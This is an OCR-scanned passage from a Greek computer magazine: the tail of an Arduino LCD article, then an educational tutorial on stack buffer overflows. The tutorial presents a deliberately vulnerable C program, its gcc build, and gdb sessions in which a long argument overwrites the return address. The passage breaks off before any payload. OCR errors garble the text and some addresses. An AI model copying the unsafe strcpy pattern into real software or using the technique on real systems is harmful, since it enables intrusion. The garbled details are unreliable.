εγκατασταθεί η οθόνη µας στο κουτί του υπολογιστή, δε νομίζετε; Μόνο 
προσέχετε µε τα εργαλεία και το dremel: Δεν χρειάζεται να γεμἰσετε τον 
τόπο τρύπες! Βέβαια αυτή η ιδέα µπορεἰ να φαντάζει σπάταλη σε ap- 
κετούς. Εἶναι δυνατὸν να στουμπώσουμε ολόκληρο το Arduino µας στο 
κουτί του υπολογιστή; Μετά πὼς θα παΐζουμε; E, λοιπὸν, δεν εἰπε κανεὶς 
ὁτι πρέπει να δεσμεύσουμε ολόκληρο το Arduino, εἂν αποφασίσουµε να 
βάλουμε το συστηματάκι µε την οθόνη στο κουτἰ του υπολογιστή µας. 
Μπορούμε εναλλακτικἁ να φτιάξουμε το δικὀ µας μίνι Arduino, µε Ta 
απολύτως απαραίτητα εξαρτήματα. Όλα αυτά όμως, σηκώνουν ανάλυση 
και GPKETN δουλἰτσα. Πα την ὥρα σας αφήνουμε να παἰξετε µε τη νέα σας 
οθόνη, µε την υπόσχεση ὁτι θα επανέλθουµε σύντομα. 


Από την ἰδια 
περιοχή puepi- 
σεων επιλέξτε 

την ἄλλη καρτε- 
Aitoa (Plugin). 
Εκεί πρέπει va 
καθορίσετε TOV 
“driver” της οθό- 
νης (matrix.dll για 
τις MatrixOrbital) 
και να υποδείξετε 
στο πρόγραµµα τη 
σειριακή θύρα του 
Arduino, καθώς 
και την ταχύτητα 
λειτουργίας της. 
Αυτό ήταν ὀλο! H 
οθόνη σας τώρα θα 
αρχίσει να εµφα- 
νίζει τα μηνύματα 
του LCDSmartie! 


TrackTitle τ] Sereens | Actions | startup/Shutdown | Miscellaneou 

Channels (stereo /mono) = Ξ Pi - 5 

kbps = Display settings 

KHz 3 3 Refresh interval (milliseconds); 150 | 

Current Status = = Disp ay Plugin: [ας] τὶ 
Position(10) (bar) 2 | | Scroll interval (milliseconds): Matrix Orbital Display DLL v1.2 


Time (hrs +min + sec) (long) 
Time (hrs +min + sec) (short) 
Time (seconds) 


Si Parameters: 
ICOM11,19200 


Color scheme: |Custom for this skin 


OJUISAS 
| Screen 


enan μπα ond 3 | | Γ᾽ Emulate LCD (more CPU intensive) 
Remaining (hrs+min+sec) (short) 2 Web proxy server: πα αι ο ος 
Remaining Time (seconds) 
Total length (hrs + min + sec)(long) Web proxy port: 0 
Total length (hrs + min + sec)(short) 8 ξ 
Total length (seconds) 2 |3 | -screens settings 
playlist number of current track PAES Don't Continue; Center 
total tracks in playlist a 2 Screen: |1 E [¥ Enabled Themenr. |1 E| Transition Sl a text: 
a ξ this next 
a mepa 8 E| I Sticky Skip this screen if: [Don't skip τὶ line: | lines 
μή = - 
F = κ | |8ὶ | ἰ5 
{ο ο) (ο ο) Γ al 


Winamp.exe location: 


IC: Program Files\Winamp \wina =| 
Insert -> | 
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[Variable] 


2. Μη βαράτε! To χουμε ξαναπεί αυτό και το εἶχατε δεχτεί. Έτσι δεν εἶναι; :D 
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: = Skill: 
- -ΞΞ. = Intermediate 


Tags: gdb, gcc, 
stack, stack 

overflow, Linux, 
debugging 


- at 
= ae 
ΠΕ ΜΗ 


WT 


|| 


Ws 


H 
r g — τ 
Ad Αν μιλάμε για το φράγμα EvoG ποταμού, οι 
' | συνέπειες εἶναι δυσάρεστες για όλους! Εάν 
όμως μιλάμε για ἑνα στοιχεἰο στη στοίβα 
| ενὸς προγράμματος, το πράγμα αλλάζει: 
Για τον επιτιθἐµενο αυτἠ η κατάσταση 
| εἶναι μάλλον ευχάριστη και τον γεμίζει µε 
αισιοδοξία! Όσο για το υποψήφιο θύμα, 
| καλά θα κάνει v’ ανησυχεί... 
| 


EE. ...- 


Εικόνα 1. 

To πρὀγραμμά µας 
λειτουργεί άψογα: 
Δίνοντας TO σωστό 
PIN εμφανίζονται 
τα υπερευαίσθητα 
δεδομένα µας, ενώ 
µε λάθος PIN μάς 
εγκαταλείπει µε TO 
σχετικὀ μήνυμα. 
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Το λεγόμενο stack overflow εἶναι µια κατάσταση η οποία, σύμφωνα µε 
τον οργανισμὀ Web Application Security Consortium, εἶναι πολύ συχνή 
και πολύ επικίνδυνη. Πα να γίνει κατανοητὸς ο μηχανισμός µιας επἰθεσης 
stack overflow, απαιτούνται ορισμένες γνώσεις για τα òga συμβαίνουν 
κατὰ την εκτέλεση ενὸς προγράμματος. Ελπίζουμε να καλύψαμε τα κενὰ 
µε το ἆρθρο µας που αρχίζει ano τη σελἰδα 46, οπὀτε στο παρὀν θα πε- 
ράσουμε αμέσως στο ψητό: Θα περιγράψουμε βήμα προς βήμα --και µε 
πραγματικἁ παραδείγματα--, ὀλες τις ενέργειες που μπορεί να κἀνει KÒ- 
ποιος για να ανακαλύψει µια τέτοια αδυναμία σ’ Eva πρὀγραμµα. Φυσικά, 
θα αναφέἑρουµε και όλα ὁσα πρέπει να προσέχει ἑνας προγραμματιστής, 
ὡστε να εξασφαλίσει ὁτι το δημιοὐργημὰ του θα εἶναι θωρακισμένο απὲ- 
ναντι στις επιθέσεις buffer overflow. 


Πριν συνεχίσουμε, οφείλουμε va ξεκαθαρίσουµε ὁτι οι λόγοι για τους 
οποίους παρουσιάζουμε τεχνικὲς σαν αυτή εἶναι αποκλειστικἁ εκπαιδευ- 
τικοί. Δεν θέλουμε να δημιουργήσουμε υποψήφιους επιτιθέµενους, OUTE 
να βοηθήσουμε κάποιους va παραβιάσουν την προστασία ξένων npo- 
γραμμάτων. Επιθυμούμε μόνο να σας προβληματίἰσουμε, WOTE να γίνετε 
πιο προσεκτικοἰ. Τελικός στόχος εἶναι TO να μπορείτε να γράφετε aoga- 
λέστερα προγράµµατα, ὁπως Kal TO να βοηθάτε ἄλλους προγραμματιστὲς 
προς auth την κατεύθυνση. Το πρὀβλημα, µε ὀποιους δεν θέλουν να 
χρησιμοποιήσουν τη γνώση για καλὀ, βρίσκεται στο κεφάλι τους και στη 
HETPIOTNTA τους. H γνώση δεν πρέπει να θάβεται, µε πρόφαση την npo- 
στασἰα µας ano μερικοὺς κομπλεξικούς. Διαφορετικά την “πληρώνουμε” 
όλοι µας, περιορἰζοντας τη δύναμη και τις δυνατὀτητὲς µας σε εκείνες TOU 
πιο αδύναμου κρἰκου... 


Σε πολύ γενικὲς γραμμές, μια επίθεση buffer overflow εκμεταλλεύεται τις 
συνέπειες που επιφἑρει το γράψιμο σε µη προβλεπόμενες περιοχὲς της 
µνήµης. Διαβάζοντας την αμέσως προηγούμενη Πρόταση, θα μπορούσε 
κάποιος να υποθέσει ὁτι τα αποτελέσµατα µιας τέτοιας ενέργειας εἶναι 
anpoBAenta! Χμ, εν μέρει σωστὀ εἶναι αυτό, αλλά ὀχι πάντα. Αρκεἰ va 
ξέρουμε ακριβώς τι κάνουμε ;) Πα την επίθεση stack overflow ο πρῶτος 
που μίλησε επἰσηµα ἦταν ο Aleph Onet το 1996, στο περίφημο άρθρο του 
Smashing the stack for fun and profit (http://bit.ly/StS4FaP). Ano τότε 
μέχρι σήµερα ¿xouv αλλάξει πάρα πολλά. Ωστόσο οι OXETIKEG GOUVAHIEG 


File Edit View Terminal Tabs Help 


Checking. 
Password success! 
Your PIN is 

Your personal id 
Secret Info End 
Bye now. 


Checking. 
Wrong pass! 
[611315 β 


[andreas@f13]$ ./vuln 00009 


[@f13]$ ./vuln 12345 


: 2133212312 
is : 123 
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1. Ο Aleph ἦταν ο πρὠτος που ανέφερε και παρουσίασε αυτή την επίθεση σε επίσημο άρθρο και ὀχι αυτός 
που την ανακάλυψε! Οι επιθέσεις buffer overflow εἶχαν ανακαλυφθεί προ πολλού και ἦταν γνωστές στους 
κύκλους του dark-net... 
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[@f13]$ ./vuln 11111111111111111111111111111111111111111111111111 
Checking. 

Segmentation fault (core dumped) 

[881315 J 


δεν xouv εξαλειφθεί, Napa την ανάπτυξη πολλών μηχανισμών προστα- 
σίας στις γλὠσσες προγραμματισμού (συγκεκριµένα στους αντίστοιχους 
compilers) αλλά και στα λειτουργικἁ συστήματα. Πριν προχωρήσουμε, να 
διευκρινίσουµε ὁτι όσα θα αναφέρουμε για διευθύνσεις μνήμης και KATA- 
χωρητὲς ισχύουν για επεξεργαστέὲς αρχιτεκτονικἠς i386. Πάμε, λοιπόν! 


Θεωρητικἠ προσέγγιση 


Η μέθοδος επίθεσης που θα αναλύσουμε ονομάζεται buffer overflow ἡ 
stack overflow -- αλλά αυτὀ το γνωρἰζατε ἠδη ;) H εν λὀγω μέθοδος στη- 
ρἰζεται στη δομὴ δεδομένων της στοίβας (stack) και στον τρόπο µε τον 
οποίο αξιοποιείται ano το εκάστοτε πρὀγραμμα. Στο άρθρο της σελίδας 
46 αναφέραμε μόνο τις βασικὲς ενέργειες που πραγματοποιούνται στη 
στοίβα, κατὰ την κλήση µιας συνάρτησης. Τώρα θα εμβαθύνουμε λίγο 
περισσότερο, χωρὶς όμως να μπούμε σε λεπτομέρειες GOXETEG µε TO θέμα 
μας. Όταν καλεἰται µία συνάρτηση, λοιπὸν, συμβαίνουν τα ακόλουθα. 


1. Καταχωρούνται στη στοίβα ὁλες οι παράμετροι τις συνάρτησης 
(av υπάρχουν). 


2. Προστίθεται στη στοίβα η διεύθυνση της εντολής που βρίσκεται 
αμέσως μετὰ την EVTOAN call. Με άλλα λόγια, προστίθεται στη 
στοίβα η διεύθυνση της εντολἠς που θα πρέπει να εκτελεστεἰ 
ἘαμέσωςἘ μετά τον τερματισμὀὸ της συνάρτησης. Αυτή εἶναι η Às- 
γόµενη διεύθυνση επιστροφἠς ἡ αλλιώς Return Address. 


3. O δείκτης που προσδιορἰζει την τρέχουσα κορυφἠ της στοίβας 
αντιγράφεται ano τον καταχωρητή ESP (Extended Stack Pointer) 
στον KkaTaxwpntn EBP (Extended Base Pointer). Βλέπετε, για την 
εκτέλεση µιας συνάρτησης δημιουργεῖται πάντα µια ξεχωριστή 
στοίβα, μέσα στη στοίβα του προγράμματος. AUTH η μικρὴ και 
ξεχωριστή στοίβα ονομάζεται stack frame. Πα τον εὐκολο προσδι- 
ορισμὀ των στοιχείων µέσα στο stack frame χρησιμοποιείται ἑνας 
δείκτης µε TO ὀνομα Frame Pointer (FP). Αυτός ο δείκτης προσδι- 
ορίζει πάντα την idia θέση και συγκεκριµένα την αρχἠ Tou stack 
frame. Με άλλα λόγια, ο δείκτης FP παἰρνει την τιµή του καταχω- 
ρητἠ EBP. 


4. Στο προηγούμενο βήμα εἰδαμε OT! η τιµή του Frame Pointer aà- 
λάζει. AUTO δεν Φαίνεται αδιάφορο, αλλά σκεφτείτε τι θα γίνει αν 
μία συνάρτηση καλέσει μία ἄλλη... Όταν ξεκινήσει αυτή η άλλη 
συνάρτηση, ο Frame Pointer θα αλλάξει κι όταν ολοκληρωθεί η 
συνάρτηση θα ἐχει χαθεὶ η αρχικἠ του τιµή! Επομένως, η πρώτη 


Εικὀνα 2. 

a! O npoypap- 
µατιστἠς ἦταν 
απρὀσεκτος. Το 
πρὀγραμμα εἰναι 
*\iyo* αδύναμο 
στις μεγάλες παρα- 
μέτρους :D 
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Εικόνα 3. 
Ξεκινάμε τον GNU 
debugger και αρ- 
χίζουμε τη μελέτη 
απὀ τη συνάρτηση 
main. Εκεί evroni- 
Coupe την κλήση 
µιας συνάρτησης 
και σημειώνουμε 
τη Return Address 
που θα αποθηκευ- 
Tel στη στοίβα. 
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File Edit View Terminal Tabs Help 
@f13:~/ X |@f13:~/ 


>) 


[6813 15 gdb -q vuln 

Reading symbols from /vuln...done. 

(gdb) disas main 

Dump of assembler code for function main: 


0x0804846d <+0>: push ‘%ebp 
θχθ8θ4846ε <+1>: mov sesp,%ebp 
0x08048470 <+3>: sub $0x4,%esp 
0x08048473 <+6>: mov Oxc(%ebp) , %eax 
0x08048476 «19»: add $0x4, %eax 


θχθ8848479 <+12>: mov (%eax) , eax 
0x0804847b <+14>: mov %eax, (%ESD 
@x0804847e <+17>: 
<+22>: est “eax, eax 
0x08048485 <+24>: jne 0x804849a <main+45> 
θχθ8848487 <+26>: movl $0x80485b4, (%esp) 
0x0804848e <+33>: call 0x8048344 <puts@plt> 
0x08048493 <+38>: mov $0x1,%eax 
0x08048498 <+43>: jmp 0x80484db <main+110> 
0x0804849a <+45>: movl $0x80485c0, (%esp) 
0x080484a1 <+52>: call 0x8048344 <puts@plt> 
0x080484a6 <+57>: movl $0x80485d4, (%esp) 
0x080484ad <+64>: call 0x8048344 <puts@plt> 
0x080484b2 <+69>: movl $0x80485f5, (%esp) 
0x080484b9 <+76>: call 0x8048344 <puts@plt> 
θχθϑθ4840ε <+81>: movl  $0x804860f, (%esp) 
0x080484c5 <+88>: call 0x8048344 <puts@plt> 
0x080484ca <+93>: movl $0x804861f, (%esp) 
0x080484d1 <+100>: call 0x8048344 <puts@plt> 
0x080484d6 <+105>: πον Φ0Χθ, %eax 
0x080484db <+110>: leave 
O0x080484dc «111175: ret 
End of assembler dump. τη 
(gdb) β 


συνάρτηση θα εἶναι αδύνατο να λειτουργήσει σωστά... Πα va ano- 
Φφευχθεἰ αυτό το πρόβλημα, αμέσως μετὰ τη διεύθυνση επιστρο- 
φἠς (Return Address) αποθηκεύεται στη στοίβα και η παλιά τιµή 
του Frame Pointer. 


5. Δεσμεύεται χώρος στη στοίβα του προγράµµατος, nou θα χρη- 
σιµοποιηθεἰ για το stack frame. Εκεἰ θα αποθηκευτούν οι τυχὸν 
τοπικὲς μεταβλητές που ενδέχεται να χρησιμοποιεί η συνάρτηση. 
Σημειώστε ὁτι η δέσμευση του χώρου πραγματοποιείται avd τἐσ- 
σερα byte. Όπως εἰχαμε πει στο προηγούμενο άρθρο, αυτό oup- 
Baivel γιατἰ στους 32µπιτους επεξεργαστὲς τα διάφορα μεγέθη 
ἐχουν μήκος 32bit (=4byte). 


6. Ξεκινάει η εκτέλεση των εντολών της συνάρτησης, μία προς μία. 


7. Μόλις ολοκληρωθεί η συνάρτηση µε την EVTOAN ret, ο καταχωρη- 
τὴς ΕΙΡ (που φιλοξενεί το δείκτη προς την επόμενη EVTOAN) παὶρ- 
νει ano τη στοίβα την τιµή που εἶχε αποθηκευτεί στο βήμα 2 της 
περιγραφἠς µας. Έτσι, η εκτέλεση του προγράµµατος συνεχίζεται 
ano την εντολἠ που βρίσκεται αµέσως μετά την εντολἠ call (µε 
την οποία εἰχε ξεκινήσει η KANON της συνάρτησης). 


Στο προηγούμενο άρθρο εξηγἠσαµε τον τρόπο µε τον οποίο διευρύνεται 
µια στοίβα και καταλαμβάνει σταδιακἁ το διαθέσιμο χώρο της μνήμης. 
Συγκεκριµένα, αναφέραμε OT! η στοίβα ξεκινά απὀ το τέλος του διαθέσι- 
HOU χώρου και εκτεἰνεται προς την apx του. Με άλλα λόγια, EEkivd ano 
τις "υψηλὲς” διευθύνσεις και καταλήγει στις “χαμηλές”. Κάθε φορά που 
καταχωρείται κἀτι στη στοίβα, η διεὐθυνσή του εἰναι μικρότερη απὀ τη 


z i N 
Όι συνέπειες µιας ungrxeiàlon$,..&+0 
Φα 


Μέγιστη διεύθυνση στο τµήµα στοίβας: ,,, 
Από εδώ ξεκινάει. 


Frame Pointer (δείχνει πάντα την 
αρχή του frame stack) 


Stack Pointer (δείχνει πάντα την 
κορυφή του «συνολικού» stack) 


Ελάχιστη διεύθυνση στο τµήµα 
στοίβας: Μπορεί να φτάσει ως εδώ. >>> 


διεύθυνση του προηγούμενου “κάτι” που εἶχε καταχωρηθεί. 


Στον παραπάνω πἱνακα βλέπουμε το stack frame μίας συνάρτησης (τα 
πράσινα κελιά). Σε αυτήν τη “μικρή” στοίβα εντὸς της ευρύτερης στοίβας 
του προγράµµατος, τοποθετούνται πρώτα οι παράμετροι που θέλουμε 
να περάσουν στη συνάρτηση, αμέσως μετὰ η διεύθυνση επιστροφἠς και 
ακολούθως η προηγοὐμενη/παλιἁ τιµή του frame pointer. Στη συνέχεια 
αποθηκεύονται οι τοπικὲς μεταβλητὲς που ενδέχεται να ορἰζονται και va 
χρησιμοποιούνται εντὸς της συνάρτησης. Εδὠ φαίνεται καθαρἁ πως av 
μια τοπική μεταβλητή υπερβεί το χώρο που της αναλογεἰ θα καταλά- 
Bel το χώρο του frame pointer. Εάν μάλιστα υπερβεί το χώρο της κατὰ 
πολύ, τότε μπορεἰ να καταλάβει και το χώρο του return address! Το stack 
overflow, λοιπὀν, αποτελεὶ µία ελεγχόμενη υπερχείλιση κἀποιας απὀ τις 
TONIKEG μεταβλητές, µε okono την τροποποίηση του Return Address! Με 
αυτὸν τον τρόπο, όταν ολοκληρωθούν οι εργασἰες της συνάρτησης, η λει- 
τουργικότητα του προγράµµατος θα µεταφερθεἰ εκεί που θέλουμε εμείς: 
Εκεἰ που υποδεικνύουμε µε την τροποποιημένη τιμή του Return Address. 
Μπορούν ὁμως να γίνουν ὁλα αυτά; Ναι, μπορούν! Σκεφτείτε ὁτι η στοἰ- 
Ba µας προβλέπει την αποθήκευση στοιχείων µε μέγεθος τα 4Byte. Εάν 
εμεὶς περάσουμε µια τιμή των 12 Byte στην πρώτη τοπικἠ μεταβλητή, τα 
8Byte που «περισσεύουν» θα καταλάβουν αρχικά την περιοχὴ του Frame 
Pointer και στη συνέχει του Return Address... 
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H επίθεση στην πράξη 


H επίθεση nou θα παρακολουθήσετε ἐχει δοκιµαστεἰ µε επιτυχία σε 
Fedora Linux 12 και 13. Έστω ὁτι έχουμε Eva πρὀγραμμα το οποίο δέχε- 
ται σαν παράμετρο το PIN του χρήστη κι όταν εἶναι σωστὀ εμφανίζονται 
κάποια απόρρητα προσωπικἁ δεδομένα. Το πρὀγραμμα θα το φτιάξουμε 
εμείς. Βέβαια, σαν αφηρημἑνοι και αφελεἰς προγραμματιστὲς που εἱμαστε 
(1) δεν θα το προστατεύσουµε ògo πρέπει. Το καμάρι µας θα πάσχει ano 
μία αδυναμία buffer overflow. Ακολουθεί ο κὠδικας: 


int process_data(char *userdata) 
{ 
char data[10]; 
strcpy(data, userdata) ; 
printf(“Checking.\n”); 
if (!strcmp(userdata,”12345”) ) 
return 1; 
else 
return ð; 
} 
main(int argc, char *argv[]) 
{ 
if (!process_data(argv[1])){ 
printf(“Wrong pass!\n”); 
return 1; 
} 
printf(“Password success!\n”); 
printf(“Your PIN is : 2133212312\n”); 
printf(“Your personal id is : 123\n”); 
printf(“Secret Info End\n”); 
printf(“Bye now. \n”); 


return ð; 


} 


Σημειώστε ὁτι ο πηγαίος κὠδικας *dev* εἶναι απαραίτητος για να βρούμε 
και να εκμεταλλευτούμε pia αδυναμία buffer overflow. Εμεὶς βέβαια τον 
παραθέτουμε, αφενὸς για να µπορείτε να αναπαραγάγετε τις δοκιμές που 
παρουσιάζουμε κι αφετέρου για να σας δείξουμε NOU ακριβὼς βρίσκεται η 
αδυναμία, ὥστε va την αποφεύγετε! 


Εμεἰς αποθηκεύσαµε τον κὠδικα στο αρχείο vuln.c και τον µεταγλωττίσα- 
µε HE TO gcc, δίνοντας τα ακόλουθα: 


gcc vuln.c -mpreferred-stack-boundary=2 -ggdb -o vuln 


H πρώτη παράμετρος (-mpreferred-stack-boundary=2) εξασφαλίζει ὁτι 
κάθε μέγεθος που θα αποθηκεύεται στη στοίβα θα εἶναι ευθυγραμμισμένο 
(aligned) στα 4Byte. Με ἄλλα λόγια θα καταλαμβάνει πάντα ἑνα ακέραιο 
πολλαπλάσιο των 4Byte. Πα παράδειγµα, ἑνας χαρακτήρας που θα µπο- 
ρούσε να περιγραφεἰ απὀ μόλις 1Byte, θα καταλαμβάνει 4Byte. Αντίστοι- 
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(gdb) disas process data A 
Dump of assembler code for function process_data: 

0x08048424 <+0>: push %ebp 

0x08048425 <+1>: mov %esp ,%ebp 

Breakpoint #1 

0x0804842a <+6>: mov 0x8 (%ebp) , seax 

0x0804842d <+9>: mov %eax, 0x4(%esp) 

0x08048431 <+13>: lea -Oxa(%ebp) ,%eax 

0x08048434 <+16>: mov eax, (%esp) 

0x08048437 <+19>: call 0x8048334 <strcpy@plt> 

θχθθθά4843ς <+24>: movl $0x80485a4, (%esp) 

0x08048443 <+31>: call 0x8048344 <puts@plt> 

0x08048448 <+36>: movl $0x80485ae, 0x4(%esp) 

0x08048450 <+44>: mov 0x8 (%ebp) ,%eax 

0x08048453 <+47>: mov %eax, (esp) 

0x08048456 <+50>: call 0x8048354 <strcmp@plt> 

0x0804845b <+55>: test %eax,%eax 

0x0804845d <+57>: jne 0x8048466 <process_data+66> 

0x0804845f <+59>: mov $0x1,%eax 

0x08048464 <+64>: jmp 0x804846b <process data+71> 

0x08048466 <+66>: mov $0x0, %eax 

0x0804846b <+71>: leave n 

0x0804846c <+72>: ret Breakpoint #2 
End of assembler dump. 
(gdb) break *0x08048427 
Breakpoint 1 at 0x8048427: file vuln.c, Line 3. 
(gdb) break *0x0804846c 
Breakpoint 2 at 0x804846c: file vuln.c, line 11. | 
(gdb) β 4 

χα, ἑνας πολύ μεγάλος αριθμός floating point nou anaitei 6Byte (λέμε Εικόνα 4. 


Twpa!), ὁταν αποθηκεύεται στη στοἰβα θα καταλαμβάνει 8Byte (δύο TE- 
τράδες ακριβώς). AUTO το μέγεθος για τα στοιχεία της στοίβας (τα 4Byte) 
αποτελεί τη σύμβαση που κάναμε και στην αρχὴ της μελέτης µας, όταν 
εἶπαμε OT! θα ασχοληθούμε µε τους 32µπιτους i386. Όσο για τη δεύτε- 
pn παράμετρο (-ggdb), auth ενεργοποιεί τη βελτιωμένη υποστήριξη του 
GNU debugger. Το εκτελἐσιµο αρχείο που θα προκύψει απὀ τη μεταγλὠτ- 
τιση θα ἐχει ὀνομα vuln. 


Eav εξετάσετε τον κὠδικα θα δείτε αµέσως ὁτι το πρὀγραμμά µας θεωρεὶ 
σαν σωστὸ PIN το 12345. Eav λοιπὸν To τρέξουμε δύο φορὲς (μία HE TO 
σωστὸ PIN και µία µε Eva λανθασμένο) θα λάβουμε τα αποτελέσματα που 
φαίνονται στην εικὀνα 1. 


Αρχἰζουμε τώρα να σκεφτόμαστε πονηρά: Βλέπουμε ὁτι το πρὀγραμμα 
δέχεται pia παράμετρο απευθείας ano το χρήστη. Εἶναι προστατευμένη 
ἀραγε; Μήπως ο προγραµματιστἠς ἐχει ξεχάσει να ελέγξει το μήκος της; 
Για να δούμε... H πρώτη και βασικἠ κίνηση που πρέπει να κάνουμε τώρα 
εἶναι να “ταΐσουμε” το πρόγραμμα µε παραμέτρους πολύ μεγάλου μήκους 
και να ελέγξουμε τη συμπεριφορά του. Το εκτελούμε ξανὰ, λοιπὸν, δίνο- 
ντας σαν παράμετρο πενήντα dooouc! Τα αποτελέσµατα φαΐνονται στην 
εικόνα 2. 


Με την τελευταία δοκιμή µας εισπράξαμε éva μεγαλοπρεπέστατο 
Segmentation Fault. Το γεγονὸς αυτό σημαίνει ὁτι παρουσιάστηκε µια 
εξαἱρεση (exception) στο πρόγραμμα, την οποία δεν μπόρεσε να διαχει- 
ριστεἰ. H πιθανότητα ὑπαρξης αδυναμίας buffer overflow, μόλις εκτινά- 
χθηκε στα ύψη! Ἦρθε η ώρα να "λερωθούμε”, μπαίνοντας στα ενδότερα 
του προγράμματος. 


Βάζουμε ἑνα 
breakpoint στην 
αρχή της συνάρ- 

τησης Kal Eva στο 
τέλος της. Έτσι 
θα μπορέσουμε 
να ελέγξουμε αν 
πέτυχε το stack 
overflow µε συ- 
νέπεια να τροπο- 
ποιηθεί η Return 
Address. 


Εικόνα 5. 
Δίνοντας στον 
debugger το x/10x 
Φεβρ, βλέπουμε τις 
δέκα διευθύνσεις 
μνήμης μετά το 
δείκτη ΕΒΡ. Μετά 
ano το δεύτερο 
breakpoint, η 
Return Address 
εἶναι διαφορετική! 
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(gdb) run aaaaaaaaaabbbbcccc [5 
Starting program: /vuln aaaaaaaaaabbbbcccc 


Breakpoint 1, 0x08048427 in process data (userdata=Oxbffff5e2 “aaaaaaaaaabbbbcccc") 
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Ας εκτελέσουµε το πρὀγραμμα HE Tov gdb debugger, για va δούμετι ακρι- 
Boc συμβαίνει στο παρασκήνιο. Ξεκινάμε Tov debugger δίνοντας ano τη 
γραμμή εντολών το ακὀλουθο: 


gdb -α vuln 


Αμέσως μετὰ δίνουμε disas main για να δούμε τον κὠδικα assembly (τον 
εκτελἐσιµο κὠδικα) της συνάρτησης main. Παρατηρήστε τη γραμμή που 
περιἐχει την εντολή call. Εδὠ γίνεται η KANON της συνάρτησης process_ 
data. Επομένως, η return address που θα τοποθετηθεί στη στοίβα εἶναι 
η διεύθυνση της αμέσως επόμενης εντολἠς. Συγκεκριµένα, θα εἶναι η 
διεύθυνση της εντολής test %eax,%eax, η οποία εἶναι θχθ8048483. Κρατήἠ- 
στε αυτὸν τον δεκαεξαδικὀ αριθμὀ, διότι θα µας χρησιμεύσει (εικόνα 3). 


Ας πάμε τώρα να μελετήσουμε τον κὠδικα της συνάρτησης process_ 
data. Ma να παρακολουθήσουμε τη Pon του προγράµµατος, θα φυτέ- 
ψουμµε δύο breakpoint. Το ¿va θα μπει στην αρχή της συνάρτησης, πριν 
τον ορισμὀ της µεταβλητής που θέλουμε να υπερχειλίσει (Overflow). Το 
ἀλλο breakpoint θα μπει στο τέλος της συνάρτησης, WOTE μόλις φτάσει 
εκεἰὶ η λειτουργικότητα του προγράµµατος να ελέγξουμε αν EXE! NETU- 
χει TO overflow κι ἐχει τροποποιηθεί η Return Address. Τώρα, μπορούμε 
να εκτελέσουµε το πρὀγραμμα (µέσα ano Tov debugger!) δίνοντας µια 
πολὺ μεγάλη τιµή σαν παράμετρο. Αυτό το πετυχαίνουμε δίνοντας run 
aaaaaaaaaabbbbcccc. Έτσι, το πρὀγραµμµα θα εκτελεστεἰ µε παράμετρο το 
aaaaaaaaaabbbbcccc. Τα αποτελἐσματα φαίνονται στην εικόνα 5. 


Το πρὀγραμμα θα σταματήσει αρχικά στο πρώτο breakpoint. Δίνουμε 
τώρα την εντολἠ χ/1θχ $ebp, για να δούμε τις πρώτες δέκα τιμὲς που 
βρίσκονται στο stack και συγκεκριµένα αμέσως μετὰ τη θέση που ορίζει 


@f13:~/ ΠΡ 


at vuln.c:3 
3 { 
gdb} ayiee φαΐ RET Address 
OxbfffFf37c:  Oxbf FFF388 oxbffff5e2 oxbffff408 
Oxbffff38c: 0x007c8ccő 0x00000002 Oxbffff434 Oxbffff440 
oxbffff39c: axb7fff3d0 @x08048370 
(gdb) cont 
Continuing. 
Checking. 


Breakpoint 2, 0x0804846c in process data (userdata=can't compute CFA for this frame 
) at vuln.c:11 


11 } 

(gdb) x/10x exbfffF37c RET Address 

oxbffff37c: θχ62626262 oxbffff500 oxbffff408 

Oxbffff38c: 0x007c8ccő 0x00000002 Oxbffff434 Oxbffff440 

Oxbffff39c: Oxb7fff3de 0x08048370 Ε 
(gdb) β z 
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ο δείκτης EBP. Παρατηρήστε την τιµἠ θχθ8648483. Εἶναι η διεύθυνση που 
σημειώσαμε λίγο νωρίτερα. Πα την ακρἱβεια εἶναι το σωστὀ/αναμενόμενο 
Return Address. Υπὸ φυσιολογικὲς συνθήκες, αυτή η τιµή θα πρέπει va 
μείνει αναλλοίωτη ως την ολοκλήρωση της συνάρτησης process_data. 
Εμεἰς λοιπόν θα αρχίσουμε να την παρακολουθούμε, ὡστε *av* αλλάξει 
να ξέρουμε oT! To buffer overflow πέτυχε! 


Στη συνέχεια δίνουμε την EVTOAN cont, ὥστε TO πρὀγραμμα να συνεχίσει 
WG TO επόμενο breakpoint. Όπως βλέπετε και στην εικόνα 5, η διεύθυνση 
έγινε overwrite µε τους χαρακτήρες θχ63636363. Το ερώτημα που τίθεται 
τώρα, εἶναι ano noù προέκυψαν αυτά τα 63άρια. Αν σκεφτούμε λἰγο no- 
vnpd, θα διαπιστώσουμε OT! το 63 εἶναι ἑνας δεκαεξαδικὸς αριθµὸς που 
αντιπροσωπεύει το Χαρακτήρας, σύμφωνα µε τον πίνακα ASCII. Μα και 
βἐβαια! Τον χαρακτήρα «τον εἶχαμε εισαγάγει στην παράμετρο που περά- 
cape στο πρὀγραμμα. Πα την ακρίβεια, εἶχαμε δώσει aaaaaaaaaabbbbcccc. 
Το τμήμα της παραμέτρου µε το cccc καταλήγει να γραφτεί επάνω στη 
Return Address, της συνάρτησης process_data. 


H νίκη εἶναι κοντάἀ...! 


Ὅπως φάνηκε και στον πηγαἰο κὠδικα που δώσαμε στην αρχή, η ou- 
νάρτηση process_data ἐχει µια τοπικὴ μεταβλητή μήκους 10 χαρακτή- 
ρων (10Byte) µε το ὀνομα userdata. Αυτή η μεταβλητή υπερχειλίζει ano 
την παράμετρο aaaaaaaaaabbbbcccc µε αποτέλεσμα να υπερχειλίζει και ο 
χώρος που εἶχε προβλεφθεἰ για την αποθἠκευσή της, στη στοίβα. Έτσι, 
γράφονται και περιοχἐς που Kavovika δεν θα έπρεπε να γραφτούν. Μια 
τέτοια περιοχἠ εἶναι κι αυτή που φιλοξενεί τη Return Address. Εδώ που 
φτάσαμε, αν συνεχίσουμε την EKTEAEON του προγράµµατος θα πάρουμε 
ἑνα πολύ ὀμορφο Segmentation Fault. Βλέπετε, μόλις ολοκληρωθεἰ η 
εκτέλεση της συνάρτησης το πρὀγραμμα θα προσπαθήσει va επιστρέψει 
στην EVTOAN που βρίσκεται στη διεύθυνση θχ63636363. Όπως καταλαβαϊ- 
νετε, τέτοια διεύθυνση δεν υπάρχει. Κι αν ακόµα υπάρχει, εἶναι πολὺ ani- 
θανο να περιέχει κάτι που θα καταλαβαίνει το πρὀγραμμὰ µας ως εντολή! 


Εφόσον βεβαιωθήκαμε ὁτι το πρόγραμμα πάσχει ano την ασθένεια buffer 
overflow, πρέπει να δώσουμε στη Return Address την κατάλληλη τιμή. 
Καταρχάς, πρέπει να της δώσουμε µια τιμὴ που να παραπέμπει προς µια 
